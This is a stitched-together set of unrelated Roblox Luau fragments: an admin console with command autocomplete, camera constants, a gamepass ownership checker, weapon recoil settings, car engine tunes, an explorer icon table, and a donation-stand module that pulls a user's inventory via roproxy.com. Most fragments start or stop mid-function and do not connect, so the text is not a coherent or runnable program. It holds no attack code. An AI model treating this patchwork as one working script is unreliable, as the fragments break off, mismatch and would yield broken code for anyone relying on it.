service.StarterGui:SetCoreGuiEnabled('PlayerList',true) end if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = true end end client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat") client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList') local function close() if gui:IsDescendantOf(game) and not debounce then debounce = true scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) scroll.ScrollingEnabled = false frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false players.Visible = false scrollOpen = false if client.Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat",true) end if client.Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled('PlayerList',true) end if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = true end consoleCloseTween:Play(); --service.SafeTweenPos(frame,UDim2.new(0,0,0,-200),'Out','Linear',0.2,true) --frame:TweenPosition(UDim2.new(0,0,0,-200),'Out','Linear',0.2,true) debounce = false opened = false end end local function open() if gui:IsDescendantOf(game) and not debounce then debounce = true client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat") client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList') service.StarterGui:SetCoreGuiEnabled("Chat",false) service.StarterGui:SetCoreGuiEnabled('PlayerList',false) scroll.ScrollingEnabled = true players.ScrollingEnabled = true if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = false end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = false end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = false end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = false end consoleOpenTween:Play(); frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false players.Visible = false scrollOpen = false text.Text = '' frame.Visible = true frame.Position = UDim2.new(0,0,0,0) text:CaptureFocus() text.Text = '' wait() text.Text = '' debounce = false opened = true end end text.FocusLost:Connect(function(enterPressed) if enterPressed then if text.Text~='' and string.len(text.Text)>1 then client.Remote.Send('ProcessCommand',text.Text) end end close() end) text.Changed:Connect(function(c) if c == 'Text' and text.Text ~= '' and open then if string.sub(text.Text, string.len(text.Text)) == " " then if players:FindFirstChild("Entry 0") then text.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players["Entry 0"].Text).." " elseif scroll:FindFirstChild("Entry 0") then text.Text = string.split(scroll["Entry 0"].Text, "<")[1] else text.Text = text.Text..prefix end text.CursorPosition = string.len(text.Text) + 1 text.Text = string.gsub(text.Text, " ", "") end scroll:ClearAllChildren() players:ClearAllChildren() local nText = text.Text if string.match(nText,".*"..batchKey.."([^']+)") then nText = string.match(nText,".*"..batchKey.."([^']+)") nText = string.match(nText,"^%s*(.-)%s*$") end local pNum = 0 local pMatch = string.match(nText,".+"..splitKey.."(.*)$") for i,v in next,service.Players:GetPlayers() do if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then local new = entry:Clone() new.Text = tostring(v) new.Name = "Entry "..pNum new.TextXAlignment = "Right" new.Visible = true new.Parent = players new.Position = UDim2.new(0,0,0,20*pNum) new.MouseButton1Down:Connect(function() text.Text = text.Text..tostring(v) text:CaptureFocus() end) pNum = pNum+1 end end players.CanvasSize = UDim2.new(0,0,0,pNum*20) local num = 0 for i,v in next,commands do if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then if not scrollOpen then scrollOpenTween:Play(); --frame.Size = UDim2.new(1,0,0,140) scroll.Visible = true players.Visible = true scrollOpen = true end local b = entry:Clone() b.Visible = true b.Parent = scroll b.Text = v b.Name = "Entry "..num b.Position = UDim2.new(0,0,0,20*num) b.MouseButton1Down:Connect(function() text.Text = b.Text text:CaptureFocus() end) num = num+1 end end frame.Size = UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140)) scroll.CanvasSize = UDim2.new(0,0,0,num*20) elseif c == 'Text' and text.Text == '' and opened then scrollCloseTween:Play(); --service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) scroll.Visible = false players.Visible = false scrollOpen = false scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) end end) BindEvent(service.UserInputService.InputBegan, function(InputObject) local textbox = service.UserInputService:GetFocusedTextBox() if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then if opened then close() else open() end client.Variables.ConsoleOpen = opened end end) gTable:Ready() end
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about -- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees
local MIN_Y = math.rad(-80) local MAX_Y = math.rad(80) local TOUCH_ADJUST_AREA_UP = math.rad(30) local TOUCH_ADJUST_AREA_DOWN = math.rad(-15) local TOUCH_SENSITIVTY_ADJUST_MAX_Y = 2.1 local TOUCH_SENSITIVTY_ADJUST_MIN_Y = 0.5 local VR_ANGLE = math.rad(15) local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0) local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0) local VR_LOW_INTENSITY_REPEAT = 0.1 local VR_HIGH_INTENSITY_REPEAT = 0.4 local ZERO_VECTOR2 = Vector2.new(0,0) local ZERO_VECTOR3 = Vector3.new(0,0,0) local TOUCH_SENSITIVTY = Vector2.new(0.00945 * math.pi, 0.003375 * math.pi) local MOUSE_SENSITIVITY = Vector2.new( 0.002 * math.pi, 0.0015 * math.pi ) local SEAT_OFFSET = Vector3.new(0,5,0) local VR_SEAT_OFFSET = Vector3.new(0,4,0) local HEAD_OFFSET = Vector3.new(0,1.5,0) local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0) local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0) local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1) local GAMEPAD_ZOOM_STEP_1 = 0 local GAMEPAD_ZOOM_STEP_2 = 10 local GAMEPAD_ZOOM_STEP_3 = 20 local PAN_SENSITIVITY = 20 local ZOOM_SENSITIVITY_CURVATURE = 0.5 local abs = math.abs local sign = math.sign local FFlagUserCameraToggle do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserCameraToggle") end) FFlagUserCameraToggle = success and result end local FFlagUserFixZoomInZoomOutDiscrepancy do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFixZoomInZoomOutDiscrepancy") end) FFlagUserFixZoomInZoomOutDiscrepancy = success and result end local Util = require(script.Parent:WaitForChild("CameraUtils")) local ZoomController = require(script.Parent:WaitForChild("ZoomController")) local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController")) local CameraInput = require(script.Parent:WaitForChild("CameraInput")) local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
-- Camera
local Camera = game.Workspace.CurrentCamera
--- Updates the current scope and target state.
function ScopeHUD:UpdateTargetingState() local Targeting = self.props.Core.Targeting local Scope = Targeting.Scope local DirectTarget, ScopeTarget = Targeting:UpdateTarget() return self:setState({ Scope = Scope or Roact.None; ScopeTarget = ScopeTarget or Roact.None; DirectTarget = DirectTarget or Roact.None; IsScopeLocked = Targeting.IsScopeLocked; }) end
-- Get the existing TextLabel object by name
local textLabel = script.Parent
--[[** ensures Roblox CatalogSearchParams type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.CatalogSearchParams = t.typeof("CatalogSearchParams")
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function AddGamepass(player, gamepassId) --- Variables local playerId = player.UserId local playerStats = _L.Storage.Stats["u" .. playerId] local playerCache = cache["u" .. playerId] --- Sanity check if playerStats == nil then return end --- Create cache if cache["u" .. playerId] == nil then cache["u" .. playerId] = {} playerCache = cache["u" .. playerId] end --- Check if gamepass is already written if not _L.Functions.SearchArray(playerStats.Gamepasses, gamepassId) then --- Write gamepass to save! table.insert(playerStats.Gamepasses, gamepassId) --- Analytics pcall(function() _L.Analytics.Purchase("Gamepass", player, gamepassId) end) end --- Update cache playerCache["g" .. gamepassId] = true end function CheckPlayer(player) --- Variables local playerId = player.UserId local playerStats = _L.Storage.Stats["u" .. playerId] local playerCache = cache["u" .. playerId] --- Sanity check if playerStats == nil then return end --- Create cache if cache["u" .. playerId] == nil then cache["u" .. playerId] = {} playerCache = cache["u" .. playerId] end --- Iterate through all gamepasses to check if player owns them or not (bought on website) for _, gamepassInfo in pairs(_L.Directory.Gamepasses) do local gamepassId = gamepassInfo.ID local gamepassOwned = playerCache["g" .. gamepassId] or false --- Gamepass not owned already? if gamepassOwned == false then --- Check if player owns gamepass (new API) local playerOwnsGamepass = false pcall(function() playerOwnsGamepass = _L.Services.MarketplaceService:UserOwnsGamePassAsync(playerId, gamepassId) end) --- Player bought this gamepass and it's not added! ADD IT! if playerOwnsGamepass == true then AddGamepass(player, gamepassId) end end end end function RemovePlayer(player) --- Remove player from cache local playerId = player.UserId cache["u" .. playerId] = nil end
-------------------------------------------
local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(70),0,0) arms[2].Name = "RDave" arms[2].CanCollide = true welds[2] = weld2
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {13,14} --- Vertical Recoil ,HRecoil = {5,6} --- Horizontal Recoil ,AimRecover = .75 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 3.25 --- Vertical Punch ,HPunchBase = 2 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .25 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.56 --- Min bullet spread value | Studs ,MaxSpread = 40 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0.85 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
--//Beginning\\--
Zombie=script.Parent repeat wait(0.1) until script.Parent.Parent:FindFirstChildOfClass("Part")
-- task.wait(Open.Length) -- Hold:Play() -- HoldClose:Stop()
PlayIdle = true task.wait(1.1) DB2 = true elseif DB and DB2 then DB = false DB2 = false
--Services
local GS = game:GetService("GuiService") local UIS = game:GetService("UserInputService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Postie = require(ReplicatedStorage.Postie) local ScriptContext = game:GetService("ScriptContext") ScriptContext.Error:Connect(function(...) ReplicatedStorage.GameAnalyticsError:FireServer(...) end)
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version script.Parent.Parent.Body.Dash.S.G.Enabled = true end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy() script.Parent.Parent.Body.Dash.S.G.Enabled = false end end end end)
-- Indices based on implementation of Icon function.
local ACTION_CUT = 160 local ACTION_COPY = 161 local ACTION_PASTE = 162 local ACTION_DELETE = 163 local ACTION_SORT = 164 local ACTION_CUT_OVER = 174 local ACTION_COPY_OVER = 175 local ACTION_PASTE_OVER = 176 local ACTION_DELETE_OVER = 177 local ACTION_SORT_OVER = 178 local ACTION_EDITQUICKACCESS = 190 local ACTION_FREEZE = 188 local ACTION_STARRED = 189 local ACTION_ADDSTAR = 184 local ACTION_ADDSTAR_OVER = 187 local NODE_COLLAPSED = 165 local NODE_EXPANDED = 166 local NODE_COLLAPSED_OVER = 179 local NODE_EXPANDED_OVER = 180 local ExplorerIndex = { ["Cut"] = ACTION_CUT_OVER; ["Copy"] = ACTION_COPY_OVER; ["Duplicate"] = ACTION_COPY_OVER; ["Delete"] = ACTION_DELETE_OVER; ["Insert Part"] = 1; } local ClassIndex = { ["BindableFunction"] = 66, ["BindableEvent"] = 67, ["TouchTransmitter"] = 37, ["ForceField"] = 37, ["Plugin"] = 86, ["Hat"] = 45, ["Accessory"] = 32, ["Attachment"] = 81, ["WrapTarget"] = 127, ["WrapLayer"] = 126, ["Bone"] = 114, ["Constraint"] = 86, ["BallSocketConstraint"] = 86, ["RopeConstraint"] = 89, ["RodConstraint"] = 90, ["SpringConstraint"] = 91, ["TorsionSpringConstraint"] = 125, ["WeldConstraint"] = 94, ["NoCollisionConstraint"] = 105, ["RigidConstraint"] = 135, ["HingeConstraint"] = 87, ["UniversalConstraint"] = 123, ["SlidingBallConstraint"] = 88, ["PrismaticConstraint"] = 88, ["CylindricalConstraint"] = 95, ["AlignOrientation"] = 100, ["AlignPosition"] = 99, ["VectorForce"] = 102, ["LineForce"] = 101, ["Torque"] = 103, ["AngularVelocity"] = 103, ["Plane"] = 134, ["LinearVelocity"] = 132, ["Weld"] = 34, ["Snap"] = 34, ["ClickDetector"] = 41, ["ProximityPrompt"] = 124, ["Smoke"] = 59, ["Trail"] = 93, ["Beam"] = 96, ["SurfaceAppearance"] = 10, ["ParticleEmitter"] = 80, ["Sparkles"] = 42, ["Explosion"] = 36, ["Fire"] = 61, ["Seat"] = 35, ["Platform"] = 35, ["SkateboardPlatform"] = 35, ["VehicleSeat"] = 35, ["Tool"] = 17, ["Flag"] = 38, ["FlagStand"] = 39, ["Decal"] = 7, ["JointInstance"] = 34, ["Message"] = 33, ["Hint"] = 33, ["IntValue"] = 4, ["RayValue"] = 4, ["IntConstrainedValue"] = 4, ["DoubleConstrainedValue"] = 4, ["BoolValue"] = 4, ["CustomEvent"] = 4, ["CustomEventReceiver"] = 4, ["FloorWire"] = 4, ["NumberValue"] = 4, ["StringValue"] = 4, ["Vector3Value"] = 4, ["CFrameValue"] = 4, ["Color3Value"] = 4, ["BrickColorValue"] = 4, ["ValueBase"] = 4, ["ObjectValue"] = 4, ["SpecialMesh"] = 8, ["BlockMesh"] = 8, ["CylinderMesh"] = 8, ["Texture"] = 10, ["Sound"] = 11, ["Speaker"] = 11, ["VoiceSource"] = 11, ["EchoSoundEffect"] = 84, ["FlangeSoundEffect"] = 84, ["DistortionSoundEffect"] = 84, ["PitchShiftSoundEffect"] = 84, ["ChannelSelectorSoundEffect"] = 84, ["ChorusSoundEffect"] = 84, ["TremoloSoundEffect"] = 84, ["ReverbSoundEffect"] = 84, ["EqualizerSoundEffect"] = 84, ["CompressorSoundEffect"] = 84, ["SoundGroup"] = 85, ["SoundService"] = 31, ["Backpack"] = 20, ["StarterPack"] = 20, ["StarterPlayer"] = 79, ["StarterGear"] = 20, ["CoreGui"] = 46, ["CorePackages"] = 20, ["RobloxPluginGuiService"] = 46, ["PluginGuiService"] = 46, ["PluginDebugService"] = 46, ["UIListLayout"] = 26, ["UIGridLayout"] = 26, ["UIPageLayout"] = 26, ["UITableLayout"] = 26, ["UISizeConstraint"] = 26, ["UITextSizeConstraint"] = 26, ["UIAspectRatioConstraint"] = 26, ["UIScale"] = 26, ["UIPadding"] = 26, ["UIGradient"] = 26, ["UICorner"] = 26, ["UIStroke"] = 26, ["StarterGui"] = 46, ["Chat"] = 33, ["ChatService"] = 33, ["VoiceChatService"] = 136, ["LocalizationTable"] = 97, ["LocalizationService"] = 92, ["MarketplaceService"] = 46, ["Atmosphere"] = 28, ["Clouds"] = 28, ["MaterialVariant"] = 130, ["MaterialService"] = 131, ["Sky"] = 28, ["ColorCorrectionEffect"] = 83, ["BloomEffect"] = 83, ["BlurEffect"] = 83, ["Highlight"] = 133, ["DepthOfFieldEffect"] = 83, ["SunRaysEffect"] = 83, ["Humanoid"] = 9, ["Shirt"] = 43, ["Pants"] = 44, ["ShirtGraphic"] = 40, ["PackageLink"] = 98, ["BodyGyro"] = 14, ["BodyPosition"] = 14, ["RocketPropulsion"] = 14, ["BodyVelocity"] = 14, ["BodyAngularVelocity"] = 14, ["BodyForce"] = 14, ["BodyThrust"] = 14, ["Teams"] = 23, ["Team"] = 24, ["SpawnLocation"] = 25, ["NetworkClient"] = 16, ["NetworkServer"] = 15, ["Script"] = 6, ["LocalScript"] = 18, ["RenderingTest"] = 5, ["NetworkReplicator"] = 29, ["Model"] = 2, ["Status"] = 2, ["HopperBin"] = 22, ["Camera"] = 5, ["Players"] = 21, ["ReplicatedStorage"] = 70, ["ReplicatedFirst"] = 70, ["ServerStorage"] = 69, ["ServerScriptService"] = 71, ["ReplicatedScriptService"] = 70, ["Lighting"] = 13, ["TestService"] = 68, ["Debris"] = 30, ["Accoutrement"] = 32, ["Player"] = 12, ["Workspace"] = 19, ["Part"] = 1, ["TrussPart"] = 1, ["WedgePart"] = 1, ["PrismPart"] = 1, ["PyramidPart"] = 1, ["ParallelRampPart"] = 1, ["RightAngleRampPart"] = 1, ["CornerWedgePart"] = 1, ["PlayerGui"] = 46, ["PlayerScripts"] = 78, ["StandalonePluginScripts"] = 78, ["StarterPlayerScripts"] = 78, ["StarterCharacterScripts"] = 78, ["GuiMain"] = 47, ["ScreenGui"] = 47, ["BillboardGui"] = 64, ["SurfaceGui"] = 64, ["Frame"] = 48, ["ScrollingFrame"] = 48, ["ImageLabel"] = 49, ["VideoFrame"] = 120, ["CanvasGroup"] = 48, ["TextLabel"] = 50, ["TextButton"] = 51, ["TextBox"] = 51, ["GuiButton"] = 52, ["ViewportFrame"] = 52, ["ImageButton"] = 52, ["Handles"] = 53, ["ArcHandles"] = 56, ["SelectionBox"] = 54, ["SelectionSphere"] = 54, ["SurfaceSelection"] = 55, ["PathfindingModifier"] = 128, ["PathfindingLink"] = 137, ["Configuration"] = 58, ["HumanoidDescription"] = 104, ["Folder"] = 77, ["WorldModel"] = 19, ["Motor6D"] = 106, ["BoxHandleAdornment"] = 111, ["ConeHandleAdornment"] = 110, ["CylinderHandleAdornment"] = 109, ["SphereHandleAdornment"] = 112, ["LineHandleAdornment"] = 107, ["ImageHandleAdornment"] = 108, ["SelectionPartLasso"] = 57, ["SelectionPointLasso"] = 57, ["PartPairLasso"] = 57, ["PoseBase"] = 60, ["Pose"] = 60, ["NumberPose"] = 60, ["KeyframeMarker"] = 60, ["Keyframe"] = 60, ["Animation"] = 60, ["AnimationTrack"] = 60, ["AnimationController"] = 60, ["Animator"] = 60, ["FaceControls"] = 129, ["CharacterMesh"] = 60, ["Dialog"] = 62, ["DialogChoice"] = 63, ["UnionOperation"] = 73, ["NegateOperation"] = 72, ["MeshPart"] = 73, ["Terrain"] = 65, ["Light"] = 13, ["PointLight"] = 13, ["SpotLight"] = 13, ["SurfaceLight"] = 13, ["RemoteFunction"] = 74, ["RemoteEvent"] = 75, ["TerrainRegion"] = 65, ["ModuleScript"] = 76, }
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.97 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.42 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.75 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.38 , --[[ 3 ]] 1.72 , --[[ 4 ]] 1.34 , --[[ 5 ]] 1.11 , --[[ 6 ]] .91 , --[[ 7 ]] .78 , } Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Buttons
local ExitButton = MainFrame:WaitForChild("ExitButton") local FreeFlightButton = MainFrame:WaitForChild("FreeFlightButton") local RaceButton = MainFrame:WaitForChild("EnterRaceButton")
--- SERVICES
StarterGui = game:GetService("StarterGui") Players = game:GetService("Players") ReplicatedStorage = game:GetService("ReplicatedStorage")
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local head = vCharacter:findFirstChild("Head") if head == nil then return end local launch = head.Position + 10 * v local missile = Pellet:clone() Tool.Handle.Mesh:clone().Parent = missile missile.Position = launch missile.Velocity = v * 80 local force = Instance.new("BodyForce") force.force = Vector3.new(0,40,0) force.Parent = missile if (turbo) then missile.Velocity = v * 100 force.force = Vector3.new(0,45,0) end missile.StarScript.Disabled = false local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vCharacter creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end if loaded==true then loaded=false local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit fire(lookAt, isTurbo(character) ) if (isTurbo(character) == true) then wait(.1) else wait(.3) end Tool.Enabled = true elseif loaded==false then Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6 Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6 wait(.1) Tool.Handle.Transparency=0 wait(.1) loaded=true end Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
--
LeftArm = Character:WaitForChild("Left Arm") RightArm = Character:WaitForChild("Right Arm")
--[[Engine]]
--Torque Curve Tune.Horsepower = 567 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 5000 -- Use sliders to manipulate values Tune.Redline = 6500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--!strict
local Array = script.Parent local isArray = require(Array.isArray) type Array<T> = { [number]: T } return function(value: Array<any>): any? if _G.__DEV__ then if not isArray(value) then error(string.format("Array.shift called on non-array %s", typeof(value))) end end if #value > 0 then return table.remove(value, 1) else return nil end end
--[[ [How fast the body rotates.] [Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.] [Setting this any higher than 1 causes weird glitchy shaking occasionally.] --]]
local UpdateSpeed = 2 local NeckOrgnC0 = Neck.C0 --[Get the base C0 to manipulate off of.] local WaistOrgnC0 = (not IsR6 and Waist.C0) --[Get the base C0 to manipulate off of.]
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) return (not ClassInformationTable:GetClassFolder(player,"Brawler").Barrage.Value) end
--[[Engine]]
--Torque Curve Tune.Horsepower = 5500 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 350 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[[** Adds a promise to the janitor. If the janitor is cleaned up and the promise is not completed, the promise will be cancelled. @param [t:Promise] PromiseObject The promise you want to add to the janitor. @returns [t:Promise] **--]] --[[ function Janitor.__index:AddPromise(PromiseObject) if not Promise.is(PromiseObject) then error(string.format(NOT_A_PROMISE, typeof(PromiseObject), tostring(PromiseObject))) end if PromiseObject:getStatus() == Promise.Status.Started then local Id = newproxy(false) local NewPromise = self:Add(Promise.resolve(PromiseObject), "cancel", Id) NewPromise:finallyCall(self.Remove, self, Id) return NewPromise, Id else return PromiseObject end end --]]
---------------------------------------------------------------------------------------------------- --------------------=[ CFRAME ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableHolster = false ,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to ,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) ,RightArmPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server ,LeftArmPos = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25)) --server ,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) ,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) ,RightPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client ,LeftPos = CFrame.new(0.85, 0.5,-2.2) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25)) --Client } return Config
--local Velocity = HumanoidRootPart.Velocity
Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp, not Down.Value) if Down.Value == true then Humanoid:ChangeState(Enum.HumanoidStateType.Physics, Down.Value) elseif Down.Value == false then Humanoid:ChangeState(Enum.HumanoidStateType.GettingUp, true) end
-------------------------------------------
local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(-0.5, 1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(90),-0.1,-0.1) arms[2].Name = "RDave" arms[2].CanCollide = true welds[2] = weld2
-- main functions
module.getItems = function(assetId,plrId) local allItems = {} local success, errormsg = pcall(function() local done = false local nextPageCursor while done == false do local data if nextPageCursor then data = http:GetAsync("https://www.roproxy.com/users/inventory/list-json?assetTypeId="..tostring(assetId).."&cursor="..nextPageCursor.."&itemsPerPage=100&userId="..tostring(plrId)) else data = http:GetAsync("https://www.roproxy.com/users/inventory/list-json?assetTypeId="..tostring(assetId).."&cursor=&itemsPerPage=100&userId="..tostring(plrId)) end if data then data = http:JSONDecode(data) local items = data["Data"]["Items"] for _, item in pairs(items) do table.insert(allItems,item) end if data["Data"]["nextPageCursor"] then nextPageCursor = data["Data"]["nextPageCursor"] --print(nextPageCursor) else done = true end else warn("No data.") end end end) if success then print("Successfully retrieved data.") else warn(errormsg) end --print(tostring(#allItems).." items found.") --print("Finding items created by user...") local createdByUser = {} --print(allItems) for i, item in pairs(allItems) do pcall(function() if (item["Creator"]["Id"] == plrId) and (item["Product"]["IsForSale"] == true) then table.insert(createdByUser,item) end end) end --print(tostring(#createdByUser).." items remain.") --print(createdByUser) for _, item in pairs(createdByUser) do --print(item["Item"]["Name"],"-",item["Product"]["PriceInRobux"]) end return createdByUser end module.loadItems = function(stand,plr) for _, frame in pairs(stand.Products.Items.ScrollingFrame:GetChildren()) do if frame:IsA("Frame") then frame:Destroy() end end local tshirts = module.getItems(module.assetTypeIds["T-Shirt"],plr.UserId) local passes = module.getItems(module.assetTypeIds["Pass"],plr.UserId) local shirts = module.getItems(module.assetTypeIds["Shirt"],plr.UserId) local pants = module.getItems(module.assetTypeIds["Pants"],plr.UserId) print(#tshirts,"T-Shirts found.") print(#shirts,"Shirts found.") print(#pants,"Pants found.") print(#passes,"Passes found.") local allItems = {} local tble = {tshirts,passes,shirts,pants} for _, itemType in pairs(tble) do for _, item in pairs(itemType) do 